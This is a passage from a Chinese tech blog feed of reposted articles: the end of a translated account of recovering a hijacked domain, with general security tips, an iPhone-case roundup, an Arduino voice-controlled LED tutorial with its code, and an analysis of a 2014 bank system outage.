RamshackleGlam.com又重新回到了我的怀抱,感谢那些不辞辛劳尽其所能帮助我的人。我的其它账户(包括银行账户及其它)都安全了。我最终也没有把钱给要回来,但那个小偷也没有得到它,永远都别想了。 这件事情总算结束了。该死的! #### 那么为什么我依然感到愤怒? 当然我会因为网站被偷而生气,但我对此无能为力。我之所以写这篇文章有一部分原因是我要让人们知道这种事情是确实会发生在我们每一个人身边的,也希望通过我的一些建议去帮助大家尽量避免悲剧的发生,但除此之外,真正激发我动笔的是我对GoDaddy和HostMonster的愤愤愤愤愤愤怒。我希望你们能明白。 这两家公司都没有质疑我的声明(有书面证据的支持)即我对网站的所有权,也没有怀疑网站在未经我授权的情况下被转移。而我仍然话花了几天的时间自己去找那个黑客——这几天足以让他做任何想做的事情——就是因为那群技术支持和监察员除了说“天啊,真糟糕。我们帮不了你”之外什么也做不了! [![Screen Shot 2014-03-27 at 11.38.53 AM](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01e15cf1b2_Screen-Shot-2014-03-27-at-11-38-53-AM.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01e15cf1b2_Screen-Shot-2014-03-27-at-11-38-53-AM.png "黑客入侵后,重新夺回我的网站") [![Screen Shot 2014-03-27 at 11.40.01 AM](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01e15cf1b2_Screen-Shot-2014-03-27-at-11-40-01-AM.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01e15cf1b2_Screen-Shot-2014-03-27-at-11-40-01-AM.png "黑客入侵后,重新夺回我的网站") 而当我找到真正能帮我的人——我是指那些能为我打一个电话或者按一个钮然后把我的财产还给我的人(亦或是简单的冻结它而避免被卖掉或摧毁),他们才不会跟我说这些。这帮人(指两家公司的人员)只会躲在他们的法律部门后面而不会做任何事,即使知道他们的不作为会逼我不得不跟一个罪犯做交易,或让我失去我事业的重要部分。 而黑客们也知道这些公司会这样做。 它们指着这活呢。 这是一个很严重的问题——一个犯罪组织不仅“无视”公司的政策,而且事实上导致了公司将自身的利益至于其所声称的对用户的“保护”之上。我能理解像HostMonster和GoDaddy这样的公司为什么会把精力都放在保护自己免受诉讼上吗?当然!但事实是他们并没有去“保护”他们的用户,而且刚好相反地加深了对他们所支持的那些小型企业和家庭的威胁。 这些公司知道如果他们堵住了那扇帮助的大门那些资产收到侵犯的用户将没有其他的依靠,他们不得不向罪犯妥协或是眼睁睁看着自己的事业——也很可能是生活——毁掉。这些公司也知道他们的不作为给那些依赖于用这种手段赚钱的黑客创造了良好的环境。而他们什么也不做。 这种情况必须得改变了。 #### 我的意见,在我看来是值得去做的: 在代理公司的支持人员必须要非常熟悉ICANN有关域名分配的相关条例,同时也需要在第一时间从客户那了解情况后就制定一个行动计划,别让客户一个又一个电话的催。 此外,建立一个TEAC**可以让争议账户立即被冻结,直到事情得到圆满解决。这也不会需要任何一方去承认罪责;基于这样一个尝试:当存在争议时,我们需要确保域名必须是被安全的转移。 #### 怎样做可以降低悲剧发生在你身上的概率: 1、要有一个非常非常靠谱的密码,并且经常更换。密码不要含有“明显”的单词(当然也不要有像“whitecat”或“angrybird”这样两个或多个连在一起的单词),而且应该包含大写字母、数字和符号。最好的密码看上去应该是杂乱无章的。 2、如果可以的话,最好使用一个单独的计算机(可以是个旧的或买个便宜点的)来处理跟财产有关的业务,比方说银行转账等等,否则的话指不准哪天你家小孩点了一个恶意链接就可能会招来黑客。 3、当你不再使用电脑和个人设备的时候就关掉它。 4、装一个杀毒软件(但是记住这也只能让你扫描到30-40%的病毒,所以哪怕是一次“彻底”的检查也不代表你的电脑是安全的)。 5、购买[CyberRisk保险](https://www.travelers.com/business-insurance/management-professional-liability/cyber-risk.aspx)(可以点击链接查看更多信息,它可以确保你的利益不会因为网络攻击和数据泄露遭到大的损失)。 #### 但要是悲剧真的发生了,那你该怎么做: 1、立即仔细的检查(并且截图)。不要删除任何的邮件以及其它信息,它们很有可能在后面起到重要作用。 2、立刻更改你所有的密码(包括——但不限于——域名注册商、网站托管、网站登录信息、邮箱、银行账户、无线家用电子产品、以及Apple ID)根据以下的规则。在情况还没有确定下来时我每隔几个小时都会改一次密码,并且在这之后我仍然会每隔几天都会改一次密码。 3、联系注册商,引用下面的ICANN方案,然后看是否能快速解决。要是你发现你自己走近死胡同也不要惊讶。 4、查看你的邮件的“过滤器”和“规则”(通常情况下,任何可能的设备都会被黑客推送邮件,比方说cetera)。 5、联系合适的执法部门(我联系了FBI是因为这看上去像是一个国际犯罪,至少也是个洲际犯罪——因为Escrow.com在加利福利亚而我在纽约)。 注意:每一种情况都会不同,而且我也不会全力推荐这些方法——虽然它们让我最终夺回了我的域名的控制权,但是让我不得已跟罪犯打交道。很明显这并不理想,而且也可能导致不可预料的结果。(尽管我老公说他也很想让大家知道我是个大坏蛋,但很明显这也不是事实…好吧,至少是在这件事上) (完) ##### 伯乐在线译者注: *Icann.Org全名为互联网域名和号码管理组织,负责管理并协调[DNS](https://www.icann.org/en/node/1145082#dns)。[ICANN的域名争议解决方案](https://www.icann.org/resources/pages/policy-2012-03-07-en)基本规定了在域名纠纷的案件下,原注册商(“Losing Registrar”,在转移发生前的域名持有人,与之相对的“Winning Registrar”,指在转移发生后的域名持有人)需要立即启动紧急转移行动接触方式(“[TEAC](https://www.icann.org/resources/pages/policy-2012-03-07-en)”)将球踢到立刻解决的方向上来。当初一得到这个信息,我的案子就立刻升级了。 **TEAC:由ICANN建立的一种接触方式,用于其它注册商和ICANN在必要时快速解决两个注册商之间的域名转移问题。该接触必须在调查开始四小时之内响应,尽管最终的解决时间会很长。 [黑客入侵后,重新夺回我的网站](http://blog.jobbole.com/75334/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 8个具有奇特功能的iPhone手机壳 Date: 2014-08-12 URL: https://blog.wo.ai/archives/676 Categories: Uncategorized 市面上的iPhone手机壳太多了,即使你每天换一个一年都不会重样,一般的手机壳都只是起到保护手机的作用,而有些会让你感觉很饿(详见《十款“美味的”iPhone5s/5c外壳、支架》),但是还有一类手机壳还具有保护之外的功能,这些设计师在这个小小的手机壳充分地发挥着自己的创造力,让我们看一下这八个有独特功能的iPhone手机壳吧。 **Tasklab TaskOne iPhone5/5s手机壳** 这个iPhone的瑞士军刀外壳内置22个不锈钢的工具,并有大的铝合金按键按控制它们,这样你就可以用你的iPhone来修理任何东西了。 [![20140810_164507_395](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/78826b4a39_9a87cc0292f3d717ec5aea8897386fb6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/78826b4a39_9a87cc0292f3d717ec5aea8897386fb6.jpg "8个具有奇特功能的iPhone手机壳") **Leverage i5 iPhone手机壳** 这个由Graft公司设计的iPhone手机壳是世界上少有的模块化手机壳之一,它的后壳是可以更换的,可以换成耳机线缠绕器、信用卡或者是时髦的背板。 [![20140810_164522_239](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/678712dadf_96ce336a7f32b28d58c1fc2a562517a9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/678712dadf_96ce336a7f32b28d58c1fc2a562517a9.jpg "8个具有奇特功能的iPhone手机壳") **Pocketbuddy iPhone5/5s手机壳** 这个外壳也可以当做一个“储藏室”、药片盒和卡片夹,该手机壳是由轻的聚碳酸酯制造,虽然这个后壳会让iPhone变得笨重和叮当作响,但是它还是比较实用的。 [![20140810_164529_662](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d2cef16074_ac769a67ca962cde6c9aca7543e80601.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d2cef16074_ac769a67ca962cde6c9aca7543e80601.jpg "8个具有奇特功能的iPhone手机壳") **Sanwa PRJ016 iPhone4微型投影仪外壳** 这个外壳带有1850mAh的电池,可以将你的手机充电到80%,同时它也是一个微型投影仪,可以投影电影、图片到你的墙上。 [![20140810_164535_486](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bdd568961b_cabffd539d51b0707f5d81c18983ac15.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bdd568961b_cabffd539d51b0707f5d81c18983ac15.jpg "8个具有奇特功能的iPhone手机壳") **iPhone镜子外壳** 女士们,有了这个外壳你就不用翻箱倒柜地找镜子了,这个可以当做镜子用的外壳价格不菲,高达86美元,难道是用了可以让人变漂亮的镜子? [![20140810_164547_920](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad8eb7e97f_941c5f3bdeb1eb99f43cece1907bc710.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad8eb7e97f_941c5f3bdeb1eb99f43cece1907bc710.jpg "8个具有奇特功能的iPhone手机壳") **SuperNova iPhone5打火机外壳** 这个是吸烟者的梦想外壳,这个外壳可以当做打火机用,并且可以通过USB充电。 [![20140810_164600_158](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1f47abc760_3e6482ef78cdda659fae5ca3623bf392.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1f47abc760_3e6482ef78cdda659fae5ca3623bf392.jpg "8个具有奇特功能的iPhone手机壳") **Yobrush iPhone5梳子外壳** 该外壳在意大利设计,美国制造,这个可以用来理顺头发的iPhone外壳售价14.99美元,并有五种颜色可选。什么时候给男士也设计一个剃须刀外壳啊。 [![20140810_164608_73](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/765837042a_d56c514a4fe535102d6de7640e79f18e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/765837042a_d56c514a4fe535102d6de7640e79f18e.jpg "8个具有奇特功能的iPhone手机壳") **Mophie Space Pack iPhone5/5s手机壳** 苹果配件的粉丝们应该同Tim Cook一样熟悉Mophie这个品牌,他们生产的这个Space Pack外壳不仅可以给iPhone5带来额外的1700mAh电量,同时还能扩充其内存空间,有16GB\32GB\64GB可选,虽然其笨重了一些,但是功能性还是不错的。 [![20140810_164620_828](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/99dc2fe83b_c62354861a3877b21927e6fe13f28779.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/99dc2fe83b_c62354861a3877b21927e6fe13f28779.jpg "8个具有奇特功能的iPhone手机壳") [8个具有奇特功能的iPhone手机壳](http://www.geekfan.net/11251/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 一百元的智能家居——Asp.Net Mvc Api+讯飞语音+Android+Arduino Date: 2014-08-11 URL: https://blog.wo.ai/archives/675 Categories: Uncategorized 如今智能家居已经不再停留在概念阶段,高大上的科技公司都已经推出了自己的部分或全套的智能家居解决方案,不过就目前的现状而言,大多还停留在展厅阶段,还没有广泛的推广起来,有人说最大的问题是标准不统一云云,但在我看来,最大的问题在于两个方面,一个是价格,一个是操作的简便性,技术上的问题并不是阻碍智能家居推广的核心因素。 再来说说最近很火很惹人爱的微软小娜,Cortana。本人作为微软的死忠,作为一名靠.Net混饭的屌丝程序男,自然是有一部撸妹的,并且在小娜推送当天更新了手机,迫不及待地体验了小娜的功能,小娜会记事、会提醒、会唱歌、会说笑话、会学林志玲等等着实让我惊叹了一把,而且语气非常接近自然人的语气,不是那种生涩的机器语调。作为平时生活中不使用Android,Iphone的我,那晚想当然的觉得小娜应该就是当今世界上最好的语音助手了吧,怀着这样的心情,让小娜给我定了个闹钟,第二天早早起床迫不及待要向同事得瑟一把了。 第二天给同事小马看后,小马淡然一笑,拿出他的Android手机,默默的打开手机上的一个叫“灵犀”的软件,递给我说:“试试这个”。不试不知道,一试,心情还有点小低落,优越感顿无,怎么说呢,应该说除了在语气上小娜占上风外,在识准率,识别速度,各类功能应用上,小娜和“灵犀”已然不是一个档次,可能是小娜刚起步吧,希望以后可以不断完善。 看了一下“灵犀”官网,恍然大悟,这就是科大讯飞的产品啊,再次把玩灵犀,就只想真心点赞了,当时脑子里还飘过一个画面,未来能够对百度造成威胁的,很有可能就是科大讯飞,科大讯飞将把持移动互联网的使用入口!哦,那画面太美,不知李彦宏怎么想这个问题。 语音识别不仅仅会影响到人们使用手机的方式,在智能家居方面也大有可为,最直接的就是带来操作上的便捷性,试想,如果你在家时,你慢悠悠的拿出你的手机,慢悠悠的打开你的操作应用,慢悠悠的点击一个控制按钮,然后你的电视或者调动窗帘才执行你的命令,这图的个什么啊,还不如直接走过去手动暴力解决,而如果你在家的时候,只需要说“小文,换到体育频道”,或者“小文,打开窗帘”,然后安放在屋子里的中控盒子二十四小时随时听候理解你的命令,出门在外的时候,也只需对着手机说一声就行,这才叫易用的智能家居啊! 今天我们就采用Arduino开发板+Asp.Net MVC Api+Android版的讯飞语言SDK,实现用语音来控制一个小Led的实验。 关于Arduino 我的硬件准备 [![091911085374196](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1c09455fe7_5a6dfe36d56deee481741f7e5bf2f573.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1c09455fe7_5a6dfe36d56deee481741f7e5bf2f573.jpg "一百元的智能家居——Asp.Net Mvc Api+讯飞语音+Android+Arduino") 左边是Arduino主板,右边是网络拓展板,下边的是什么?哈哈,实验室小孟同学亲手给我焊接的小小Led灯,用来模仿开关性质的设备,这么小,看着都是泪水啊。组合后就是这么个样子了 [![091919281318224](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/726697004f_b62551e3f6ed63b2030606b03f0264c3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/726697004f_b62551e3f6ed63b2030606b03f0264c3.jpg "一百元的智能家居——Asp.Net Mvc Api+讯飞语音+Android+Arduino") 以上总造价不超过100元。 Ardunio是一个开源的开发板,据说国外都是小朋友和艺术家都可以玩的开发板,简单易学,功能完善,目前也是非常火爆。事实也确实如此,看了几个示例工程后,有一定开发基础的人一看就知道怎么玩了。大部分web开发者基本上可以直接上手Arduino的网络部分的开发,看一遍示例保证你明白怎么个搞法,不信?那上个截图吧,这是Ardunio提供的IDE,内置了很多常用的开发场景示例,基本上在示例的基础上简单修改就可以完成一些简单的任务。 [![090158394433266](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6a5d88111f_401faca98d5ff793163917415bf832c4.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6a5d88111f_401faca98d5ff793163917415bf832c4.png "一百元的智能家居——Asp.Net Mvc Api+讯飞语音+Android+Arduino") 如果你是一个web开发者,好吧,看到菜单你也应该联想到你熟悉的网站开发模式了吧,是的,Arduino为你提供了客户端模式,服务端模式,还有些不常用的其他模式,让我们来看看Ardunio的WebClientRepeatping,这是一个客户端轮询服务端的方式,简单粗暴,通信稳定,容易理解和上手,下面是Ardunio提供的该模式示例代码 /* Repeating Web client This sketch connects to a a web server and makes a request using a Wiznet Ethernet shield. You can use the Arduino Ethernet shield, or the Adafruit Ethernet shield, either one will work, as long as it's got a Wiznet Ethernet module on board. This example uses DNS, by assigning the Ethernet client with a MAC address, IP address, and DNS address. Circuit: * Ethernet shield attached to pins 10, 11, 12, 13 created 19 Apr 2012 by Tom Igoe modified 21 Jan 2014 by Federico Vanzati http://arduino.cc/en/Tutorial/WebClientRepeating This code is in the public domain. */ #include #include // assign a MAC address for the ethernet controller. // fill in your address here: byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // fill in an available IP address on your network here, // for manual configuration: IPAddress ip(192, 168, 1, 177); // fill in your Domain Name Server address here: IPAddress myDns(1, 1, 1, 1); // initialize the library instance: EthernetClient client; char server[] = "www.arduino.cc"; //IPAddress server(64,131,82,241); unsigned long lastConnectionTime = 0; // last time you connected to the server, in milliseconds const unsigned long postingInterval = 10L * 1000L; // delay between updates, in milliseconds // the "L" is needed to use long type numbers void setup() { // start serial port: Serial.begin(9600); while (!Serial) { ; // wait for serial port to connect. Needed for Leonardo only } // give the ethernet module time to boot up: delay(1000); // start the Ethernet connection using a fixed IP address and DNS server: Ethernet.begin(mac, ip, myDns); // print the Ethernet board/shield's IP address: Serial.print("My IP address: "); Serial.println(Ethernet.localIP()); } void loop() { // if there's incoming data from the net connection. // send it out the serial port. This is for debugging // purposes only: if (client.available()) { char c = client.read(); Serial.write(c); } // if ten seconds have passed since your last connection, // then connect again and send data: if (millis() - lastConnectionTime > postingInterval) { httpRequest(); } } // this method makes a HTTP connection to the server: void httpRequest() { // close any connection before send a new request. // This will free the socket on the WiFi shield client.stop(); // if there's a successful connection: if (client.connect(server, 80)) { Serial.println("connecting..."); // send the HTTP PUT request: client.println("GET /latest.txt HTTP/1.1"); client.println("Host: www.arduino.cc"); client.println("User-Agent: arduino-ethernet"); client.println("Connection: close"); client.println(); // note the time that the connection was made: lastConnectionTime = millis(); } else { // if you couldn't make a connection: Serial.println("connection failed"); } } 请从头到尾看一变,我保证如果你有编程基础看一遍也就知道的差不多该怎么玩了。无非就是定时轮询,请求服务器,对返回的字符串进行处理。下面的代码就是我在上面代码的基础上做的修改,实现了定时从服务器获取命令,如果是1则打开Led,如果是2则关闭Led。 /* Repeating Web client This sketch connects to a a web server and makes a request using a Wiznet Ethernet shield. You can use the Arduino Ethernet shield, or the Adafruit Ethernet shield, either one will work, as long as it's got a Wiznet Ethernet module on board. This example uses DNS, by assigning the Ethernet client with a MAC address, IP address, and DNS address. Circuit: * Ethernet shield attached to pins 10, 11, 12, 13 created 19 Apr 2012 by Tom Igoe modified 21 Jan 2014 by Federico Vanzati http://arduino.cc/en/Tutorial/WebClientRepeating This code is in the public domain. */ #include #include const int ledPin = 2; // assign a MAC address for the ethernet controller. // fill in your address here: byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xEF }; // fill in an available IP address on your network here, // for manual configuration: IPAddress ip(192, 168, 1, 177); EthernetClient client; IPAddress server(你的服务器地址); unsigned long lastConnectionTime = 0; // last time you connected to the server, in milliseconds const unsigned long postingInterval = 2L * 1000L; // delay between updates, in milliseconds // the "L" is needed to use long type numbers void setup() { // start serial port: Serial.begin(9600); while (!Serial) { ; // wait for serial port to connect. Needed for Leonardo only } // give the ethernet module time to boot up: delay(1000); pinMode(ledPin, OUTPUT); // start the Ethernet connection using a fixed IP address and DNS server: Ethernet.begin(mac); // print the Ethernet board/shield's IP address: Serial.print("My IP address: "); Serial.println(Ethernet.localIP()); } int iscoming=0; void loop() { // if there's incoming data from the net connection. // send it out the serial port. This is for debugging // purposes only: if (client.available()) { char c = client.read(); if(iscoming==1){ handle(c); iscoming=0; } if(c=='@'){ iscoming=1; } Serial.write(c); } // if ten seconds have passed since your last connection, // then connect again and send data: if (millis() - lastConnectionTime > postingInterval) { httpRequest(); } } void handle(char value){ if(value=='1'){ Serial.print("dakai"); digitalWrite(ledPin, LOW); } if(value=='2'){ Serial.print("guanbi"); digitalWrite(ledPin, HIGH); } } // this method makes a HTTP connection to the server: void httpRequest() { // close any connection before send a new request. // This will free the socket on the WiFi shield client.stop(); // if there's a successful connection: delay(1000); if (client.connect(server, 8009)) { Serial.println("connecting..."); // send the HTTP PUT request: //api/getcmd是请求的网站资源 client.println("GET /api/getcmd HTTP/1.1"); client.println("Host: www.arduino.cc"); client.println("User-Agent: arduino-ethernet"); client.println("Connection: close"); client.println(); // note the time that the connection was made: lastConnectionTime = millis(); } else { // if you couldn't make a connection: Serial.println("connection failed"); } } Android客户端 关于科大讯飞的介绍,自己去官网看吧,深耕语音领域二十年,不是一般企业可以超越的,很好很强大。申请成为开发者,创建应用,开通服务,下载SDK(我下的是带UI的SDK),参考SDK的代码就可以开始自己的开发了。话不多说,直接上核心代码 /** * 听写UI监听器 */ private RecognizerDialogListener recognizerDialogListener=new RecognizerDialogListener(){ public void onResult(RecognizerResult results, boolean isLast) { String text = JsonParser.parseIatResult(results.getResultString()); mResultText.append(text); mResultText.setSelection(mResultText.length()); sendmeg(text); } private void sendmeg(String msg){ AsyncHttpClient client = new AsyncHttpClient(); try { String url = "http://服务器地址/api/values/"+msg; client.get(url, new AsyncHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) { super.onSuccess(statusCode, headers, responseBody); Toast.makeText(CmdActivity.this, "请求成功" + new String(responseBody), Toast.LENGTH_SHORT).show(); } @Override public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) { // TODO Auto-generated method stub super.onFailure(statusCode, headers, responseBody, error); } }); } catch (Exception e) { } } /** Asp.Net Mvc Api 服务端的代码相对就简单了,我这里创建了两个控制器,一个负责接收手机端的命令,存入数据库,一个负责返回Arduino的网络请求,将命令代码返回。虽然觉得没必要,还是上一下代码吧 接收手机端传过来的命令 // GET api/values/5 public string Get(string id) { ardunioEntities a = new ardunioEntities(); string tempid = "123456789"; cmd c = a.cmd.Where(n => n.ardunioid ==tempid).SingleOrDefault(); if (c == null) { c = new cmd(); c.ardunioid = tempid; c.command = "0"; c.status = "未读"; a.cmd.Add(c); } if (id.Contains("打开")) { { c.command = "1"; c.status = "未读"; } } if (id.Contains("关闭")) { { c.command = "2"; c.status = "未读"; } } a.SaveChanges(); return "接收成功!"; } 返回命令给Arduino的请求 public string Get() { ardunioEntities a = new ardunioEntities(); string tempid = "123456789"; cmd c = a.cmd.Where(n => n.ardunioid == tempid & n.status == "未读").SingleOrDefault(); if (c == null) { return "@0"; } c.status = "已读"; a.Entry(c).State = EntityState.Modified; a.SaveChanges(); return "@"+c.command; } 效果实现与总结 对着手机说“打开灯泡”,然后灯就亮了!话说程序员看到这一幕,兴奋之情溢于言表啊。(请忽略旁边的美桃,女友由于对我崇拜的五体投地给我洗的,嘻嘻)。 这篇文章只是一个小实验而已,后续还可以做很多有趣的玩法,比如在这个程序的基础上开发语音控制电动窗帘的的工作(目前正在玩耍…),比如直接弄一个Android开发板或者使用语音模块做一个中控,二十四小时伺服,回到家直接说话“小文,换台到体育频道”等等等等,现有的智能家居产品都可以把语音技术集成过来,相信会大大增加智能家居的易用性。 本月科大讯飞即将召开智能家庭产品发布会,我们实验室也申请了票,期待看到高大上的东东开开眼。。。。一场革命或许已经来临。 看完了就默默点个赞吧:) [![092014084902993](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/053b2d54a5_7560d348549738bfa96e0a230bd41c30.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/053b2d54a5_7560d348549738bfa96e0a230bd41c30.jpg "一百元的智能家居——Asp.Net Mvc Api+讯飞语音+Android+Arduino") [一百元的智能家居——Asp.Net Mvc Api+讯飞语音+Android+Arduino](http://www.geekfan.net/11228/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 以史为鉴:宁夏银行7月系统瘫痪最新解析 Date: 2014-08-10 URL: https://blog.wo.ai/archives/755 Categories: Uncategorized ![0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eaf9c84860_dcfcd07e645d245babe887e5e2daa016.jpg) 这段时间,存储圈内对宁夏银行7月系统瘫痪事件讨论热烈,为什么作为在IT基础架构和系统建设都相对严谨和严格的银行会频频出现宕机等问题。可能大家还记得2013年6月工行和中国银行的两次事件。 “6月23日,中国工商银行系统瘫痪导致全国多地工行系统柜面取款、ATM、网银等无法办理。24日,中国银行系统也短暂瘫痪,一时间金融业钱荒,银行股价暴跌,金融市场流动性紧张。” 对于去年发生的银行系统问题,网友讨论也比较多,归结起来,还是系统维护方面纰漏。 对于今年宁夏银行的系统瘫痪事件,官方消息如下: 银行二部(2014)187号正式发全国文件,对宁夏银行事故的描述大致如下2014年7月1日,宁夏银行核心系统数据库出现故障,导致该行(含异地分支机构)存取款、转账支付、借记卡、网上银行、ATM和POS业务全部中断。 经初步分析,在季末结算业务量较大的情况下,因备份系统异常导致备份存储磁盘读写处理严重延时,备份与主存储数据不一致,在采取中断数据备份录像操作后,造成生产数据库损坏并宕机。因宁夏银行应急恢复处置机制严重缺失,导致系统恢复工作进展缓慢,直至7月3日5点40分核心系统才恢复服务,业务系统中断长达37小时40分钟,其间完全依靠手工办理业务。 该事件的根本原因是在于该行安全生产意思薄弱、应急管理体系缺失、应急处置过程混乱。该行核心系统数据库版本严重老化,且2007年至今未购买核心数据库的维保服务,核心系统长期缺乏维护,事故发生后,无法获得系统供应商及时技术支持。系统恢复过程中,缺乏应急预案和准备,长时间无法实施有效处置,导致业务恢复缓慢,对银行运营产生较为严重影响。 对于这个事件的发生,网上论坛有网友开始怀疑当时在2010年进行的高大上的宁夏银行800公里灾备演练,当时号称区域性商业银行的第一次。 查阅资料,回忆当时演练现场,时任宁夏银行信息技术部总经理的王春表示,随着区域性商业银行的跨省发展,实施灾难备份系统已经势在必行,宁夏银现在实施成功之后,实现了宁夏银行所提出的“提升业务连续性,提升业务管理水平”的战略目标,做到了核心系统的灾难恢复的“全范围覆盖”。 其中演练主要包括了两种“突发情况”:数据库系统瘫痪和数据中心发生火灾——前者模拟宁夏银行生产中心数据库系统发生崩溃瘫痪的严重故障,测试根据需要启动应急响应流程,进行本地的数据库系统恢复;后者模拟生产中心发生大火,测试根据应急流程进行从银川到西安的异地切换。 整场演练全部在真实的生产环境进行,步骤衔接流畅,而且恢复速度让在场观摩人员无不惊叹,两个场景的演练时间加起来不过10分钟:第一场数据库瘫痪演练,4分钟成功恢复完成;第二场火灾演练,6分钟系统异地切换成功。 **当时的IT环境是IBM AIX UNIX、Informix、EMC DMX800。** 以上是宁夏银行2010年灾备演练情况的存储在线当时报道摘要,在整个演练过程中,飞康CDP起到了举足轻重的作用。为此,网友在论坛上评论说,“停止备份系统,竟然会导致主数据库损坏,看来FalconStor CDP ,不靠谱啊。”也有网友评论道:“系统维护没有跟上,再好的方案也会有问题。” **对此,阿明认为:宁夏银行本次事件发生的根本应该更多归咎在系统维护上,很多时候,大型企业或银行做过周密的预案或灾备演练之后,就放松了对系统的整体维护,这是发生问题的主要原因所在。为此,宁夏银行官方表态也是“2007年至今未购买核心数据库的维保服务,核心系统长期缺乏维护,事故发生后,无法获得系统供应商及时技术支持。”** (要知道,数据库厂商很牛叉,这是圈内人士有目共睹的,既然长期不交“保护费”,自然得让你痛一下,痛定思痛之后,你就得乖乖上交数据库“保护费”了。) 说完今年宁夏银行这次事件之后,我们再回看一下去年工行、中行出现的系统问题,当时**CSDN的夏梦竹同学找到了一位叫jaccc的IT顾问** ,这位顾问的看法分析很透彻,也很中肯,对当前宁夏银行出现的系统问题也有借鉴意义,大家不妨“温故知新”: **为什么IT系统会出问题?** 1)现代IT系统非常复杂,当系统大到一定的程度,总会有失控的状况。世界上就从来都没有过没错误的复杂程序,问题只在于这个错误你有没有碰上而已。银行的系统是由很多不同软硬件厂商的产品拼在一起运作,复杂程度远超过普通家用电脑,这么简单的家用电脑还会死机呢….而且系统复杂到一定程度,就不是人多或者钱多就能完全解决问题的了,推荐看看《人月神话》。 2)要尽量不出问题,要钱,很多钱(比如中型银行建设一个过得去的容灾系统要上亿)。但出问题只是“有可能”,花的钱可是实实在在的。换了你是领导,你也不会无限制的向里面投钱。 3)稳定运行的最好的办法之一是不对系统进行改造。由于有新的业务要求,系统确实要不停的升级,很多银行每周都在升级,每次变动对系统的稳定运行都是一个挑战。你每天走路有时候还会摔倒,只要一动作,就有出错的可能,这就是科学。 为什么会大面积的出现问题? 因为三个字:大集中。最早之前,银行系统还没联网,一出问题只是某个区或者某个市。最近十多年银行业都在搞大集中:五大行除了中国银行之外的四家都已经完成了大集中。 **为什么这种故障好像越来越多了?** 以前没有微博没有微信,只要你不是倒霉的用户就不会知道出过问题。我要不是上微博也不知道工行出这么大的事。以前没有网银没有淘宝,你半夜不会买东西刷卡。用行话来说就是以前没那么多7*24的需求(一周7天,一天24小时运行)。 **为什么没有应急预案或者应急预案没有起作用?** 与电信运营商,政府行业,普通企业相比,银行是中国IT业中IT基础最好,最严谨的行业。比如有的银行还要求厂商维护人员不能操作,只能银行员工操作。 大的变更一定会有预案,甚至换个硬盘,改个IP这种做过几百次的操作都会有预案。但预案与真实一般都有相当差距。上面已经提到系统非常复杂,可能出现的问题如果真全部写下来,可能有几百几千分支。而且,系统的故障并不会根据你的应急预案来发生。 只靠应急预案真解决问题的概率比拿着《泡妞指南》泡到美眉的几率还低,应急预案的最重要的作用是应付上级监管,根据应急预案搭好可能需要的应急软硬件环境,大致理清概要思路,以及锻炼团队。真有复杂问题,还是靠牛人现场解决的多。 平心而论,工行的IT能力和运维水平在四大行里面不是第一就是第二了(不同的省份略有不同)。 **为什么要停几个小时这么久?** 先说定位问题的时间:从发现问题上报到IT信息中心(或者在监控系统发现问题),IT中心的人开始查系统,定位故障原因,如果定位不清还要找相关的软硬件人员到场或者远程网络支持(基于安全原因,银行大部分都不能远程网络查看系统,维护人员到数据中心也需要时间,如果还堵车…..),找出问题的根源,一小时算超快的了。类似你莫名高烧,到底是哪个器官出问题,去医院做检查做判断总需要时间吧???解决问题就更不好说了,其实和大家的电脑一样,往往重启是最有效的方法,但很多业务系统部分出现问题是不能重启的(可能会影响别的业务系统)。至今国外各大厂商的标准维护合同,绝大部分都没有承诺修复时间。??根据手头的一份略过时的银监会突发事件应急管理规范:一个省停业6个小时以上才算I级特别重大突发事件,3小时是II级,半小时以上是III级。以管窥豹,落叶知秋,几小时真不算什么。 **不是说有容灾和备份吗?为啥不快速切过去就好了?** 这是一个很常见的误解:出了故障的时候,有备份系统和容灾系统就可以很快恢复业务。一怀愁绪,几年离索,错,错,错。 先说备份系统,常规备份系统是不能运行业务程序的:备份一般只是把数据保存多一份或者几份,一般是在丢数据的时候才用来恢复,而且恢复的时间很多都在几小时以上。类似大家手头只有一个avi文件,没有播放软件也没法看啊,只不过银行的“播放软件”要架设起来就复杂了….. 